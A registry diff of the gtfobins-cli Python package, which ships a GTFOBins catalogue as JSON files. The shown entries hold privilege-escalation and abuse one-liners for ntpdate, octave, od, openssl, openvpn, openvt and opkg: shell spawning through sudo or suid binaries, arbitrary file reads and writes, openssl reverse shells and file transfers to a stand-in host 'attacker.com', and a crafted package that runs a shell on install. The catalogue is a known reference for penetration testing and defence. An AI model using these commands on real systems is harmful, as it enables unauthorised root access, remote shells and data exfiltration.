gtfobins-cli 1.0.0__py3-none-any.whl → 1.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gtfo/__init__.py +2 -1
- gtfo/cli.py +204 -32
- gtfo/data/7z.json +16 -0
- gtfo/data/aa-exec.json +22 -0
- gtfo/data/ab.json +28 -0
- gtfo/data/acr.json +16 -0
- gtfo/data/agetty.json +10 -0
- gtfo/data/alpine.json +22 -0
- gtfo/data/ansible-playbook.json +16 -0
- gtfo/data/ansible-test.json +16 -0
- gtfo/data/aoss.json +16 -0
- gtfo/data/apache2ctl.json +16 -0
- gtfo/data/apport-cli.json +22 -0
- gtfo/data/apt-get.json +6 -6
- gtfo/data/apt.json +8 -8
- gtfo/data/aptitude.json +16 -0
- gtfo/data/ar.json +6 -4
- gtfo/data/aria2c.json +17 -5
- gtfo/data/arj.json +28 -0
- gtfo/data/arp.json +7 -5
- gtfo/data/as.json +22 -0
- gtfo/data/ascii-xfr.json +22 -0
- gtfo/data/ascii85.json +16 -0
- gtfo/data/ash.json +9 -5
- gtfo/data/aspell.json +22 -0
- gtfo/data/asterisk.json +20 -0
- gtfo/data/at.json +3 -1
- gtfo/data/atobm.json +6 -4
- gtfo/data/awk.json +20 -14
- gtfo/data/aws.json +16 -0
- gtfo/data/base32.json +7 -4
- gtfo/data/base58.json +16 -0
- gtfo/data/base64.json +7 -4
- gtfo/data/basenc.json +6 -3
- gtfo/data/basez.json +22 -0
- gtfo/data/bash.json +22 -17
- gtfo/data/bashbug.json +14 -0
- gtfo/data/batcat.json +22 -0
- gtfo/data/bc.json +22 -0
- gtfo/data/bconsole.json +22 -0
- gtfo/data/bee.json +10 -0
- gtfo/data/borg.json +16 -0
- gtfo/data/bpftrace.json +6 -3
- gtfo/data/bridge.json +22 -0
- gtfo/data/bundle.json +32 -0
- gtfo/data/bundler.json +7 -4
- gtfo/data/busctl.json +14 -3
- gtfo/data/busybox.json +17 -8
- gtfo/data/byebug.json +4 -1
- gtfo/data/bzip2.json +22 -0
- gtfo/data/c89.json +28 -0
- gtfo/data/c99.json +28 -0
- gtfo/data/cabal.json +22 -0
- gtfo/data/cancel.json +3 -3
- gtfo/data/capsh.json +6 -3
- gtfo/data/cargo.json +14 -0
- gtfo/data/cat.json +7 -4
- gtfo/data/cdist.json +16 -0
- gtfo/data/certbot.json +2 -0
- gtfo/data/chattr.json +14 -0
- gtfo/data/check_by_ssh.json +2 -3
- gtfo/data/check_cups.json +4 -3
- gtfo/data/check_log.json +20 -18
- gtfo/data/check_memory.json +4 -3
- gtfo/data/check_raid.json +4 -3
- gtfo/data/check_ssl_cert.json +2 -3
- gtfo/data/check_statusfile.json +4 -3
- gtfo/data/chmod.json +4 -3
- gtfo/data/choom.json +22 -0
- gtfo/data/chown.json +5 -4
- gtfo/data/chroot.json +3 -1
- gtfo/data/chrt.json +28 -0
- gtfo/data/clamscan.json +22 -0
- gtfo/data/clisp.json +16 -0
- gtfo/data/cmake.json +28 -0
- gtfo/data/cmp.json +22 -0
- gtfo/data/cobc.json +3 -1
- gtfo/data/code.json +22 -0
- gtfo/data/column.json +6 -4
- gtfo/data/comm.json +6 -3
- gtfo/data/composer.json +3 -0
- gtfo/data/cowsay.json +2 -1
- gtfo/data/cowthink.json +16 -14
- gtfo/data/cp.json +21 -9
- gtfo/data/cpan.json +8 -7
- gtfo/data/cpio.json +14 -12
- gtfo/data/cpulimit.json +6 -3
- gtfo/data/crash.json +5 -4
- gtfo/data/crontab.json +5 -5
- gtfo/data/csh.json +9 -5
- gtfo/data/csplit.json +12 -3
- gtfo/data/csvtool.json +8 -5
- gtfo/data/ctr.json +10 -0
- gtfo/data/cupsfilter.json +6 -3
- gtfo/data/curl.json +19 -7
- gtfo/data/cut.json +7 -4
- gtfo/data/dash.json +9 -5
- gtfo/data/date.json +7 -5
- gtfo/data/dc.json +22 -0
- gtfo/data/dd.json +9 -5
- gtfo/data/debugfs.json +22 -0
- gtfo/data/dhclient.json +10 -0
- gtfo/data/dialog.json +7 -5
- gtfo/data/diff.json +11 -4
- gtfo/data/dig.json +6 -4
- gtfo/data/distcc.json +22 -0
- gtfo/data/dmesg.json +4 -4
- gtfo/data/dmidecode.json +10 -0
- gtfo/data/dmsetup.json +3 -1
- gtfo/data/dnf.json +3 -3
- gtfo/data/dnsmasq.json +10 -0
- gtfo/data/doas.json +10 -0
- gtfo/data/docker.json +9 -6
- gtfo/data/dos2unix.json +10 -0
- gtfo/data/dosbox.json +32 -0
- gtfo/data/dotnet.json +22 -0
- gtfo/data/dpkg.json +5 -5
- gtfo/data/dstat.json +16 -0
- gtfo/data/dvips.json +3 -1
- gtfo/data/easy_install.json +14 -11
- gtfo/data/eb.json +3 -2
- gtfo/data/ed.json +9 -3
- gtfo/data/efax.json +16 -0
- gtfo/data/elvish.json +34 -0
- gtfo/data/emacs.json +11 -6
- gtfo/data/enscript.json +16 -0
- gtfo/data/env.json +7 -4
- gtfo/data/eqn.json +7 -5
- gtfo/data/espeak.json +22 -0
- gtfo/data/ex.json +30 -22
- gtfo/data/exiftool.json +26 -4
- gtfo/data/expand.json +7 -5
- gtfo/data/expect.json +13 -4
- gtfo/data/facter.json +4 -2
- gtfo/data/fail2ban-client.json +14 -0
- gtfo/data/ffmpeg.json +10 -0
- gtfo/data/file.json +8 -8
- gtfo/data/find.json +19 -4
- gtfo/data/finger.json +5 -6
- gtfo/data/firejail.json +35 -0
- gtfo/data/fish.json +22 -0
- gtfo/data/flock.json +7 -4
- gtfo/data/fmt.json +5 -6
- gtfo/data/fold.json +7 -4
- gtfo/data/fping.json +16 -0
- gtfo/data/ftp.json +5 -3
- gtfo/data/fzf.json +90 -0
- gtfo/data/gawk.json +17 -11
- gtfo/data/gcc.json +12 -4
- gtfo/data/gcloud.json +16 -0
- gtfo/data/gcore.json +22 -0
- gtfo/data/gdb.json +15 -13
- gtfo/data/gem.json +8 -8
- gtfo/data/genie.json +22 -0
- gtfo/data/genisoimage.json +11 -4
- gtfo/data/getent.json +14 -0
- gtfo/data/ghc.json +4 -2
- gtfo/data/ghci.json +2 -0
- gtfo/data/gimp.json +19 -14
- gtfo/data/ginsh.json +22 -0
- gtfo/data/git.json +22 -11
- gtfo/data/gnuplot.json +16 -0
- gtfo/data/go.json +58 -0
- gtfo/data/grc.json +16 -0
- gtfo/data/grep.json +7 -5
- gtfo/data/gtester.json +10 -1
- gtfo/data/guile.json +16 -0
- gtfo/data/gzip.json +14 -5
- gtfo/data/hashcat.json +16 -0
- gtfo/data/hd.json +7 -5
- gtfo/data/head.json +7 -4
- gtfo/data/hexdump.json +7 -5
- gtfo/data/hg.json +16 -0
- gtfo/data/highlight.json +7 -4
- gtfo/data/hping3.json +7 -0
- gtfo/data/iconv.json +9 -6
- gtfo/data/iftop.json +3 -1
- gtfo/data/install.json +4 -3
- gtfo/data/ionice.json +7 -4
- gtfo/data/ip.json +11 -5
- gtfo/data/irb.json +13 -8
- gtfo/data/ispell.json +22 -0
- gtfo/data/java.json +10 -0
- gtfo/data/jjs.json +13 -10
- gtfo/data/joe.json +22 -0
- gtfo/data/join.json +6 -3
- gtfo/data/journalctl.json +3 -2
- gtfo/data/jq.json +7 -4
- gtfo/data/jrunscript.json +13 -10
- gtfo/data/jshell.json +35 -0
- gtfo/data/jtag.json +16 -0
- gtfo/data/julia.json +46 -0
- gtfo/data/knife.json +16 -0
- gtfo/data/ksh.json +19 -15
- gtfo/data/ksshell.json +7 -5
- gtfo/data/ksu.json +10 -0
- gtfo/data/kubectl.json +30 -0
- gtfo/data/last.json +16 -0
- gtfo/data/lastb.json +16 -0
- gtfo/data/latex.json +11 -2
- gtfo/data/latexmk.json +9 -6
- gtfo/data/ld.so.json +7 -5
- gtfo/data/ldconfig.json +1 -2
- gtfo/data/less.json +17 -7
- gtfo/data/lessfilter.json +22 -0
- gtfo/data/lesspipe.json +16 -0
- gtfo/data/lftp.json +22 -0
- gtfo/data/links.json +22 -0
- gtfo/data/ln.json +10 -0
- gtfo/data/loginctl.json +16 -0
- gtfo/data/logrotate.json +38 -0
- gtfo/data/logsave.json +7 -4
- gtfo/data/look.json +7 -4
- gtfo/data/lp.json +10 -0
- gtfo/data/ltrace.json +7 -5
- gtfo/data/lua.json +21 -15
- gtfo/data/lualatex.json +6 -4
- gtfo/data/luatex.json +6 -4
- gtfo/data/lwp-download.json +7 -5
- gtfo/data/lwp-request.json +4 -2
- gtfo/data/m4.json +59 -0
- gtfo/data/mail.json +3 -3
- gtfo/data/make.json +15 -7
- gtfo/data/man.json +5 -3
- gtfo/data/mawk.json +12 -6
- gtfo/data/minicom.json +26 -0
- gtfo/data/more.json +7 -3
- gtfo/data/mosh-server.json +10 -0
- gtfo/data/mosquitto.json +22 -0
- gtfo/data/mount.json +2 -2
- gtfo/data/msfconsole.json +16 -0
- gtfo/data/msgattrib.json +22 -0
- gtfo/data/msgcat.json +22 -0
- gtfo/data/msgconv.json +22 -0
- gtfo/data/msgfilter.json +28 -0
- gtfo/data/msgmerge.json +22 -0
- gtfo/data/msguniq.json +22 -0
- gtfo/data/mtr.json +5 -4
- gtfo/data/multitime.json +22 -0
- gtfo/data/mutt.json +14 -0
- gtfo/data/mv.json +5 -4
- gtfo/data/mypy.json +26 -0
- gtfo/data/mysql.json +9 -7
- gtfo/data/nano.json +9 -5
- gtfo/data/nasm.json +22 -0
- gtfo/data/nawk.json +16 -10
- gtfo/data/nc.json +13 -13
- gtfo/data/ncdu.json +22 -0
- gtfo/data/ncftp.json +22 -0
- gtfo/data/neofetch.json +22 -0
- gtfo/data/nft.json +22 -0
- gtfo/data/nginx.json +22 -0
- gtfo/data/nice.json +7 -4
- gtfo/data/nl.json +7 -5
- gtfo/data/nm.json +22 -0
- gtfo/data/nmap.json +26 -16
- gtfo/data/node.json +18 -12
- gtfo/data/nohup.json +10 -6
- gtfo/data/npm.json +6 -0
- gtfo/data/nroff.json +3 -1
- gtfo/data/nsenter.json +5 -3
- gtfo/data/ntpdate.json +22 -0
- gtfo/data/nvim.json +16 -0
- gtfo/data/octave.json +34 -0
- gtfo/data/od.json +7 -5
- gtfo/data/openssl.json +21 -16
- gtfo/data/openvpn.json +13 -5
- gtfo/data/openvt.json +1 -1
- gtfo/data/opkg.json +10 -0
- gtfo/data/pandoc.json +40 -0
- gtfo/data/passwd.json +10 -0
- gtfo/data/paste.json +6 -3
- gtfo/data/pax.json +10 -0
- gtfo/data/pdb.json +3 -2
- gtfo/data/pdflatex.json +5 -2
- gtfo/data/pdftex.json +3 -0
- gtfo/data/perf.json +22 -0
- gtfo/data/perl.json +28 -7
- gtfo/data/perlbug.json +16 -0
- gtfo/data/pexec.json +22 -0
- gtfo/data/pg.json +7 -3
- gtfo/data/php.json +25 -15
- gtfo/data/pic.json +10 -1
- gtfo/data/pico.json +8 -4
- gtfo/data/pidstat.json +22 -0
- gtfo/data/pip.json +19 -8
- gtfo/data/pipx.json +25 -0
- gtfo/data/pkexec.json +3 -2
- gtfo/data/pkg.json +1 -1
- gtfo/data/plymouth.json +10 -0
- gtfo/data/podman.json +10 -0
- gtfo/data/poetry.json +26 -0
- gtfo/data/posh.json +22 -0
- gtfo/data/pr.json +6 -4
- gtfo/data/procmail.json +10 -0
- gtfo/data/pry.json +4 -1
- gtfo/data/psftp.json +22 -0
- gtfo/data/psql.json +14 -1
- gtfo/data/ptx.json +22 -0
- gtfo/data/puppet.json +6 -4
- gtfo/data/pwsh.json +22 -0
- gtfo/data/pygmentize.json +14 -0
- gtfo/data/pyright.json +32 -0
- gtfo/data/python.json +21 -15
- gtfo/data/qpdf.json +18 -0
- gtfo/data/r.json +16 -0
- gtfo/data/rake.json +13 -4
- gtfo/data/rc.json +22 -0
- gtfo/data/readelf.json +7 -5
- gtfo/data/red.json +7 -5
- gtfo/data/redcarpet.json +5 -4
- gtfo/data/redis.json +10 -0
- gtfo/data/restic.json +13 -5
- gtfo/data/rev.json +6 -3
- gtfo/data/rlogin.json +3 -4
- gtfo/data/rlwrap.json +9 -6
- gtfo/data/rpm.json +9 -5
- gtfo/data/rpmdb.json +22 -0
- gtfo/data/rpmquery.json +6 -3
- gtfo/data/rpmverify.json +22 -0
- gtfo/data/rsync.json +7 -4
- gtfo/data/rsyslogd.json +16 -0
- gtfo/data/rtorrent.json +16 -0
- gtfo/data/ruby.json +17 -11
- gtfo/data/run-mailcap.json +7 -7
- gtfo/data/run-parts.json +7 -4
- gtfo/data/runscript.json +22 -0
- gtfo/data/rustdoc.json +26 -0
- gtfo/data/rustfmt.json +15 -0
- gtfo/data/rustup.json +22 -0
- gtfo/data/rview.json +36 -34
- gtfo/data/rvim.json +41 -35
- gtfo/data/sash.json +8 -5
- gtfo/data/scanmem.json +22 -0
- gtfo/data/scp.json +6 -3
- gtfo/data/screen.json +9 -7
- gtfo/data/script.json +6 -4
- gtfo/data/scrot.json +22 -0
- gtfo/data/sed.json +12 -9
- gtfo/data/service.json +5 -3
- gtfo/data/setarch.json +7 -4
- gtfo/data/setcap.json +16 -0
- gtfo/data/setfacl.json +16 -0
- gtfo/data/setlock.json +22 -0
- gtfo/data/sftp.json +7 -5
- gtfo/data/sg.json +1 -0
- gtfo/data/shred.json +16 -0
- gtfo/data/shuf.json +5 -5
- gtfo/data/slsh.json +22 -0
- gtfo/data/smbclient.json +9 -8
- gtfo/data/snap.json +2 -2
- gtfo/data/socat.json +23 -11
- gtfo/data/socket.json +16 -0
- gtfo/data/soelim.json +7 -5
- gtfo/data/softlimit.json +22 -0
- gtfo/data/sort.json +13 -4
- gtfo/data/split.json +15 -4
- gtfo/data/sqlite3.json +12 -6
- gtfo/data/sqlmap.json +16 -0
- gtfo/data/ss.json +6 -4
- gtfo/data/ssh-agent.json +22 -0
- gtfo/data/ssh-copy-id.json +24 -0
- gtfo/data/ssh-keygen.json +6 -6
- gtfo/data/ssh-keyscan.json +22 -0
- gtfo/data/ssh.json +11 -7
- gtfo/data/sshfs.json +42 -0
- gtfo/data/sshpass.json +22 -0
- gtfo/data/sshuttle.json +10 -0
- gtfo/data/start-stop-daemon.json +7 -4
- gtfo/data/stdbuf.json +7 -4
- gtfo/data/strace.json +8 -5
- gtfo/data/strings.json +7 -5
- gtfo/data/su.json +3 -2
- gtfo/data/sudo.json +10 -0
- gtfo/data/svn.json +10 -0
- gtfo/data/sysctl.json +13 -5
- gtfo/data/systemctl.json +7 -4
- gtfo/data/systemd-resolve.json +10 -0
- gtfo/data/systemd-run.json +60 -0
- gtfo/data/tac.json +7 -5
- gtfo/data/tail.json +7 -4
- gtfo/data/tailscale.json +10 -0
- gtfo/data/tar.json +14 -11
- gtfo/data/task.json +16 -0
- gtfo/data/taskset.json +7 -4
- gtfo/data/tasksh.json +22 -0
- gtfo/data/tbl.json +6 -4
- gtfo/data/tclsh.json +11 -6
- gtfo/data/tcpdump.json +11 -4
- gtfo/data/tcsh.json +28 -0
- gtfo/data/tdbtool.json +22 -0
- gtfo/data/tee.json +9 -7
- gtfo/data/telnet.json +6 -6
- gtfo/data/terraform.json +22 -0
- gtfo/data/tex.json +3 -0
- gtfo/data/tftp.json +5 -5
- gtfo/data/tic.json +22 -0
- gtfo/data/time.json +7 -5
- gtfo/data/timedatectl.json +16 -0
- gtfo/data/timeout.json +7 -4
- gtfo/data/tmate.json +22 -0
- gtfo/data/tmux.json +15 -3
- gtfo/data/top.json +2 -2
- gtfo/data/torify.json +16 -0
- gtfo/data/torsocks.json +16 -0
- gtfo/data/troff.json +6 -4
- gtfo/data/tsc.json +26 -0
- gtfo/data/tshark.json +10 -0
- gtfo/data/ul.json +7 -5
- gtfo/data/unexpand.json +7 -4
- gtfo/data/uniq.json +7 -5
- gtfo/data/unshare.json +7 -4
- gtfo/data/unsquashfs.json +16 -0
- gtfo/data/unzip.json +16 -0
- gtfo/data/update-alternatives.json +4 -4
- gtfo/data/urlget.json +16 -0
- gtfo/data/uudecode.json +22 -0
- gtfo/data/uuencode.json +21 -18
- gtfo/data/uv.json +43 -0
- gtfo/data/vagrant.json +22 -0
- gtfo/data/valgrind.json +5 -3
- gtfo/data/varnishncsa.json +16 -0
- gtfo/data/vi.json +18 -6
- gtfo/data/view.json +41 -36
- gtfo/data/vigr.json +16 -0
- gtfo/data/vim.json +43 -38
- gtfo/data/vimdiff.json +41 -36
- gtfo/data/vipw.json +16 -0
- gtfo/data/virsh.json +6 -5
- gtfo/data/volatility.json +10 -0
- gtfo/data/w3m.json +22 -0
- gtfo/data/wall.json +10 -0
- gtfo/data/watch.json +9 -6
- gtfo/data/wc.json +6 -4
- gtfo/data/wg-quick.json +10 -0
- gtfo/data/wget.json +17 -11
- gtfo/data/whiptail.json +22 -0
- gtfo/data/whois.json +9 -10
- gtfo/data/wireshark.json +16 -0
- gtfo/data/wish.json +5 -3
- gtfo/data/xargs.json +9 -8
- gtfo/data/xdg-user-dir.json +16 -0
- gtfo/data/xdotool.json +22 -0
- gtfo/data/xelatex.json +5 -2
- gtfo/data/xetex.json +3 -0
- gtfo/data/xmodmap.json +6 -4
- gtfo/data/xmore.json +6 -4
- gtfo/data/xpad.json +16 -0
- gtfo/data/xxd.json +9 -5
- gtfo/data/xz.json +7 -4
- gtfo/data/yarn.json +20 -0
- gtfo/data/yash.json +22 -0
- gtfo/data/yelp.json +2 -2
- gtfo/data/yt-dlp.json +24 -0
- gtfo/data/yum.json +4 -4
- gtfo/data/zathura.json +16 -0
- gtfo/data/zcat.json +10 -0
- gtfo/data/zic.json +20 -0
- gtfo/data/zip.json +5 -1
- gtfo/data/zless.json +15 -0
- gtfo/data/zsh.json +10 -5
- gtfo/data/zsoelim.json +7 -5
- gtfo/data/zypper.json +5 -3
- gtfo/images/filter-with.png +0 -0
- gtfo/images/search-docker.png +0 -0
- gtfo/images/search-for.png +0 -0
- gtfo/images/search-interactive.png +0 -0
- gtfo/images/sqlit3.png +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/METADATA +66 -17
- gtfobins_cli-1.1.0.dist-info/RECORD +474 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/WHEEL +1 -1
- gtfo/data/octave-cli.json +0 -30
- gtfo/data/ssh_keyscan.json +0 -20
- gtfobins_cli-1.0.0.dist-info/RECORD +0 -263
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/entry_points.txt +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/licenses/LICENSE +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/top_level.txt +0 -0
gtfo/data/ntpdate.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nntpdate -a x -k $LFILE -d localhost\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\nsudo ntpdate -a x -k $LFILE -d localhost\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"suid": [
|
|
16
|
+
{
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\n./ntpdate -a x -k $LFILE -d localhost\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/nvim.json
ADDED
gtfo/data/octave.json
ADDED
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "octave-cli --eval 'system(\"/bin/sh\")'\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-write": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "octave-cli --eval 'filename = \"file_to_write\"; fid = fopen(filename, \"w\"); fputs(fid, \"DATA\"); fclose(fid);'\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"file-read": [
|
|
16
|
+
{
|
|
17
|
+
|
|
18
|
+
"code": "octave-cli --eval 'format none; fid = fopen(\"file_to_read\"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);'\n"
|
|
19
|
+
}
|
|
20
|
+
],
|
|
21
|
+
"sudo": [
|
|
22
|
+
{
|
|
23
|
+
|
|
24
|
+
"code": "sudo octave-cli --eval 'system(\"/bin/sh\")'\n"
|
|
25
|
+
}
|
|
26
|
+
],
|
|
27
|
+
"limited-suid": [
|
|
28
|
+
{
|
|
29
|
+
|
|
30
|
+
"code": "./octave-cli --eval 'system(\"/bin/sh\")'\n"
|
|
31
|
+
}
|
|
32
|
+
]
|
|
33
|
+
}
|
|
34
|
+
}
|
gtfo/data/od.json
CHANGED
|
@@ -1,20 +1,22 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "Three spaces are added before each character in the read file, and non-printable chars are printed as backslash escape sequences.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"file-read": [
|
|
5
4
|
{
|
|
6
|
-
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nod -An -c -w9999 \"$LFILE\"\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"suid": [
|
|
10
10
|
{
|
|
11
|
-
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./od -An -c -w9999 \"$LFILE\"\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"sudo": [
|
|
15
16
|
{
|
|
16
|
-
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo od -An -c -w9999 \"$LFILE\"\n"
|
|
17
19
|
}
|
|
18
20
|
]
|
|
19
21
|
}
|
|
20
|
-
}
|
|
22
|
+
}
|
gtfo/data/openssl.json
CHANGED
|
@@ -2,54 +2,59 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"reverse-shell": [
|
|
4
4
|
{
|
|
5
|
-
"description": "To receive the shell run the following on the attacker box:\n\
|
|
6
|
-
"code": "
|
|
5
|
+
"description": "To receive the shell run the following on the attacker box:\n\n openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\n openssl s_server -quiet -key key.pem -cert cert.pem -port 12345\n\nCommunication between attacker and target will be encrypted.\n",
|
|
6
|
+
"code": "RHOST=attacker.com\nRPORT=12345\nmkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"file-upload": [
|
|
10
10
|
{
|
|
11
|
-
"description": "To collect the file run the following on the attacker box:\n\
|
|
12
|
-
"code": "
|
|
11
|
+
"description": "To collect the file run the following on the attacker box:\n\n openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\n openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 > file_to_save\n\nSend a local file via TCP. Transmission will be encrypted.\n",
|
|
12
|
+
"code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_send\nopenssl s_client -quiet -connect $RHOST:$RPORT < \"$LFILE\"\n"
|
|
13
13
|
}
|
|
14
14
|
],
|
|
15
15
|
"file-download": [
|
|
16
16
|
{
|
|
17
|
-
"description": "To send the file run the following on the attacker box:\n\
|
|
18
|
-
"code": "
|
|
17
|
+
"description": "To send the file run the following on the attacker box:\n\n openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\n openssl s_server -quiet -key key.pem -cert cert.pem -port 12345 < file_to_send\n\nFetch a file from a TCP port, transmission will be encrypted.\n",
|
|
18
|
+
"code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_save\nopenssl s_client -quiet -connect $RHOST:$RPORT > \"$LFILE\"\n"
|
|
19
19
|
}
|
|
20
20
|
],
|
|
21
21
|
"file-write": [
|
|
22
22
|
{
|
|
23
|
-
|
|
23
|
+
|
|
24
|
+
"code": "LFILE=file_to_write\necho DATA | openssl enc -out \"$LFILE\"\n"
|
|
24
25
|
},
|
|
25
26
|
{
|
|
26
|
-
|
|
27
|
+
|
|
28
|
+
"code": "LFILE=file_to_write\nTF=$(mktemp)\necho \"DATA\" > $TF\nopenssl enc -in \"$TF\" -out \"$LFILE\"\n"
|
|
27
29
|
}
|
|
28
30
|
],
|
|
29
31
|
"file-read": [
|
|
30
32
|
{
|
|
31
|
-
|
|
33
|
+
|
|
34
|
+
"code": "LFILE=file_to_read\nopenssl enc -in \"$LFILE\"\n"
|
|
32
35
|
}
|
|
33
36
|
],
|
|
34
37
|
"suid": [
|
|
35
38
|
{
|
|
36
|
-
"description": "To receive the shell run the following on the attacker box:\n\
|
|
37
|
-
"code": "
|
|
39
|
+
"description": "To receive the shell run the following on the attacker box:\n\n openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\n openssl s_server -quiet -key key.pem -cert cert.pem -port 12345\n\nCommunication between attacker and target will be encrypted.\n",
|
|
40
|
+
"code": "RHOST=attacker.com\nRPORT=12345\nmkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | ./openssl s_client -quiet -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s\n"
|
|
38
41
|
},
|
|
39
42
|
{
|
|
40
|
-
|
|
43
|
+
|
|
44
|
+
"code": "LFILE=file_to_write\necho DATA | openssl enc -out \"$LFILE\"\n"
|
|
41
45
|
}
|
|
42
46
|
],
|
|
43
47
|
"sudo": [
|
|
44
48
|
{
|
|
45
|
-
"description": "To receive the shell run the following on the attacker box:\n\
|
|
46
|
-
"code": "
|
|
49
|
+
"description": "To receive the shell run the following on the attacker box:\n\n openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\n openssl s_server -quiet -key key.pem -cert cert.pem -port 12345\n\nCommunication between attacker and target will be encrypted.\n",
|
|
50
|
+
"code": "RHOST=attacker.com\nRPORT=12345\nmkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | sudo openssl s_client -quiet -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s\n"
|
|
47
51
|
}
|
|
48
52
|
],
|
|
49
53
|
"library-load": [
|
|
50
54
|
{
|
|
51
|
-
|
|
55
|
+
|
|
56
|
+
"code": "openssl req -engine ./lib.so\n"
|
|
52
57
|
}
|
|
53
58
|
]
|
|
54
59
|
}
|
|
55
|
-
}
|
|
60
|
+
}
|
gtfo/data/openvpn.json
CHANGED
|
@@ -1,27 +1,35 @@
|
|
|
1
1
|
{
|
|
2
2
|
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "openvpn --dev null --script-security 2 --up '/bin/sh -c sh'\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
3
9
|
"file-read": [
|
|
4
10
|
{
|
|
5
11
|
"description": "The file is actually parsed and the first partial wrong line is returned in an error message.",
|
|
6
|
-
"code": "
|
|
12
|
+
"code": "LFILE=file_to_read\nopenvpn --config \"$LFILE\"\n"
|
|
7
13
|
}
|
|
8
14
|
],
|
|
9
15
|
"suid": [
|
|
10
16
|
{
|
|
11
|
-
|
|
17
|
+
|
|
18
|
+
"code": "./openvpn --dev null --script-security 2 --up '/bin/sh -p -c \"sh -p\"'\n"
|
|
12
19
|
},
|
|
13
20
|
{
|
|
14
21
|
"description": "The file is actually parsed and the first partial wrong line is returned in an error message.",
|
|
15
|
-
"code": "./openvpn --config \"
|
|
22
|
+
"code": "LFILE=file_to_read\n./openvpn --config \"$LFILE\"\n"
|
|
16
23
|
}
|
|
17
24
|
],
|
|
18
25
|
"sudo": [
|
|
19
26
|
{
|
|
20
|
-
|
|
27
|
+
|
|
28
|
+
"code": "sudo openvpn --dev null --script-security 2 --up '/bin/sh -c sh'\n"
|
|
21
29
|
},
|
|
22
30
|
{
|
|
23
31
|
"description": "The file is actually parsed and the first partial wrong line is returned in an error message.",
|
|
24
|
-
"code": "
|
|
32
|
+
"code": "LFILE=file_to_read\nsudo openvpn --config \"$LFILE\"\n"
|
|
25
33
|
}
|
|
26
34
|
]
|
|
27
35
|
}
|
gtfo/data/openvt.json
CHANGED
|
@@ -3,7 +3,7 @@
|
|
|
3
3
|
"sudo": [
|
|
4
4
|
{
|
|
5
5
|
"description": "The command execution is blind (displayed on the virtual console), but it is possible to save the output on a temporary file.",
|
|
6
|
-
"code": "
|
|
6
|
+
"code": "COMMAND=id\nTF=$(mktemp -u)\nsudo openvt -- sh -c \"$COMMAND >$TF 2>&1\"\ncat $TF\n"
|
|
7
7
|
}
|
|
8
8
|
]
|
|
9
9
|
}
|
gtfo/data/opkg.json
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"sudo": [
|
|
4
|
+
{
|
|
5
|
+
"description": "It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nTF=$(mktemp -d)\necho 'exec /bin/sh' > $TF/x.sh\nfpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF\n```\n",
|
|
6
|
+
"code": "sudo opkg install x_1.0_all.deb\n"
|
|
7
|
+
}
|
|
8
|
+
]
|
|
9
|
+
}
|
|
10
|
+
}
|
gtfo/data/pandoc.json
ADDED
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
